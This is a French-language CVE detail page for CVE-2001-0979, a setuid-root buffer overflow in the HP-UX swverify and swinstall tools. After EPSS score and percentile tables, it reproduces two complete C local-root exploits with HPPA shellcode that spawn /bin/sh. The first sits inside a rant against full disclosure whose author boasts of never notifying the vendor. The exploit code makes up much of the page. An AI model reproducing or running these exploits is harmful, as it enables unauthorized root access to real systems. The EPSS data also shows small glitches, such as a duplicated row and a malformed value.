CVE-2001-0979 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2024-12-22	–	–	–	0.05%	–
2025-03-02	–	–	–	0.05%	–
2025-01-19	–	–	–	0.05%	–
2025-03-09	–	–	–	0.05%	–
2025-03-18	–	–	–	–	0.17%
2025-03-30	–	–	–	–	0.17%
2025-04-15	–	–	–	–	0.17%
2025-04-15	–	–	–	–	0.17,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	–
2024-06-02	–
2024-12-22	18%
2025-03-02	19%
2025-01-19	18%
2025-03-09	19%
2025-03-18	36%
2025-03-30	35%
2025-04-15	39%
2025-04-15	39%

// source: https://www.securityfocus.com/bid/3279/info HP-UX is the UNIX Operating System variant distributed by Hewlett-Packard, available for use on systems of size varying from workgroup servers to enterprise systems. A problem has been discovered in the operating system that can allow a local user to gain elevated privileges. swverify contains a buffer overflow which is exploitable upon receiving 6039 bytes as an argument. The swverify program is setuid root, which allows a local user to execute code as root, potentially gaining administrative access to the vulnerable system. /* Copyright FOO This code may be distributed freely so long as it is kept in its entirety. http://www.counterpane.com/crypto-gram-0108.html#1 "I have long said that the Internet is too complex to secure. One of the reasons is that it is too complex to understand." "It's the authors of the worm and its variants, eEye for publicizing the vulnerability, and especially Microsoft for selling a product with this security problem." Didn't you just say that the Internet is too complex to even understand let alone secure? And now it's Microsoft's fault. How should they be able to magically know all the answers? Oh, I know, security is a process... "If software companies were held liable for systematic problems in its products, just like other industries (remember Firestone tires), we'd see a whole lot less of this kind of thing." Yes, I remember Firestone tires. Bridgestone/Firestone Inc. sold people a bunch of faulty tires. The wheel is certainly not "too complex to understand". After all, we've had 5000 years of R&D time; the public expects products that work right. Web servers, on the other hand, are a somewhat newer invention. Thanks for the phony analogy, Bruce. "You can argue that eEye did the right thing by publicizing this vulnerability, but I personally am getting a little tired of them adding weapons to hackers' arsenals. I support full disclosure and believe that it has done a lot to improve security, but eEye is going too far." I could go into the whole full disclosure debate, but I'd honestly rather get a root canal. Instead, I'll just point out how wrong you are. How can you support full disclosure and not support eEye fully disclosing this issue to the public? More importantly, why do you even care? The debate is over, full disclosure died when Jeff Moss started blackhat, bugtraq went corporate, and @stake bought the scene. The community at large has already rejected full disclosure. Anyone who thinks otherwise is naive. In reality the so called blackhats find most of the holes and only share them with their friends. Everyone can argue the pros and cons of full disclosure and try to start up hopeless little private 0 day clubs for vendors and "authorized" researchers until hell freezes over, or Microsoft releases a quality product. In the end, it's just a bunch of people who don't know, arguing with the bunch who don't get it. Blame eEye and Microsoft all you want if it makes you feel better. If you bitch at them long enough they might just join the rest of the real researchers out there who don't do public disclosure and only report to known and trusted peers. (read: other blackhats) The real problem here is that the clueless have convinced themselves that the computer security underground is nothing more than packs of socially challenged adolescent boys running around with proof of concept exploit code written by whitehats. Some have even deluded themselves into thinking that they should be the ones who are the gate keepers of vulnerability info. (Russ Cooper comes to mind.) Congratulations, the war is over. You won. The public is now either defenseless or paying by the hour. Don't bite the hand that feeds you or you won't get any more scraps from the table. I will leave you with this HPUX 11 local root exploit code. /usr/sbin/sw* are all setuid root by default and all contain buffer overflows. I didn't bother notifying HP about this at all. I just don't give a fuck. */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 10102 #define STACK_OFFSET 0 #define EXTRA 4000 #define HPPA_NOP 0x3902800b //0x0b390280 u_char hppa_shellcode[] = "\xe8\x3f\x1f\xfd\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41\x04\x02\x60\x40" "\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99\x0b\x18\x02\x98\x34\x16\x04\xbe" "\x20\x20\x08\x01\xe4\x20\xe0\x08\x96\xd6\x05\x34\xde\xad\xca\xfe/bin/sh\xff\xff\xff"; u_long get_sp(void) { __asm__("copy %sp,%ret0 \n"); } int main(int argc, char *argv[]) { char buf[BUF_LENGTH+8]; unsigned long targ_addr,other_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(hppa_shellcode),dso=STACK_OFFSET,xtra=EXTRA; if(argc > 1) dso+=atoi(argv[1]); if(argc > 2) xtra+=atoi(argv[2]); long_p = (u_long *) buf; for (i = 0; i < (BUF_LENGTH - code_length - xtra) / sizeof(u_long); i++) *long_p++ = HPPA_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = hppa_shellcode[i]; targ_addr = get_sp() - dso; for (i = 0; i < xtra /4; i++) { *char_p++ =(targ_addr>>24)&255; *char_p++ =(targ_addr>>16)&255; *char_p++ =(targ_addr>>8)&255; *char_p++ =(targ_addr)&255; } printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",targ_addr,strlen(buf), xtra,dso); execl("/usr/sbin/swverify","swverify", buf,(char *) 0); perror("execl failed"); return(-1); }

/* Program : x_hpux_11i_sw.c Use : HP-UX 11.11/11.0 exploit swxxx to get local root shell. Complie : cc x_hpux_11i_sw.c -o x_sw;./x_sw ( not use gcc for some system) Usage : ./x_sw [ off ] Tested : HP-UX B11.11 & HP-UX B11.0 Author : watercloud [@] xfocus.org Date : 2002-12-11 Note : Use as your own risk !! */ #include<stdio.h> #define T_LEN 2124 #define BUFF_LEN 1688 #define NOP 0x0b390280 char shellcode[]= "\x0b\x5a\x02\x9a\x34\x16\x03\xe8\x20\x20\x08\x01\xe4\x20\xe0\x08" "\x96\xd6\x04\x16\xeb\x5f\x1f\xfd\x0b\x39\x02\x99\xb7\x5a\x40\x22" "\x0f\x40\x12\x0e\x20\x20\x08\x01\xe4\x20\xe0\x08\xb4\x16\x70\x16" "/bin/shA"; long addr; char buffer_env[2496]; char buffer[T_LEN]; void main(argc,argv) int argc; char ** argv; { int addr_off = 8208; long addr_e = 0; int n=BUFF_LEN/4,i=0; long * ap = (long *) &buffer[BUFF_LEN]; char * sp = &buffer[BUFF_LEN-strlen(shellcode)]; long * np = (long *) buffer; if(argc >0) addr_off += atoi(argv[1]); addr = ( (long) &addr_off +addr_off) /4 * 4 +4; for(i=0;i<n;np[i++]=NOP); memcpy(sp,shellcode,strlen(shellcode)); for(i=0;i<(T_LEN-BUFF_LEN)/4;ap[i++]=addr); buffer[T_LEN -2 ] += 1; buffer[T_LEN - 1 ] = '\0'; sprintf(buffer_env,"LANG=AAA%s",buffer); putenv(buffer_env); execl("/usr/sbin/swinstall","swinstall","/tmp/null",NULL); /* if false ,test swverify. */ execl("/usr/sbin/swverify","swverify",NULL); } // milw0rm.com [2002-12-11]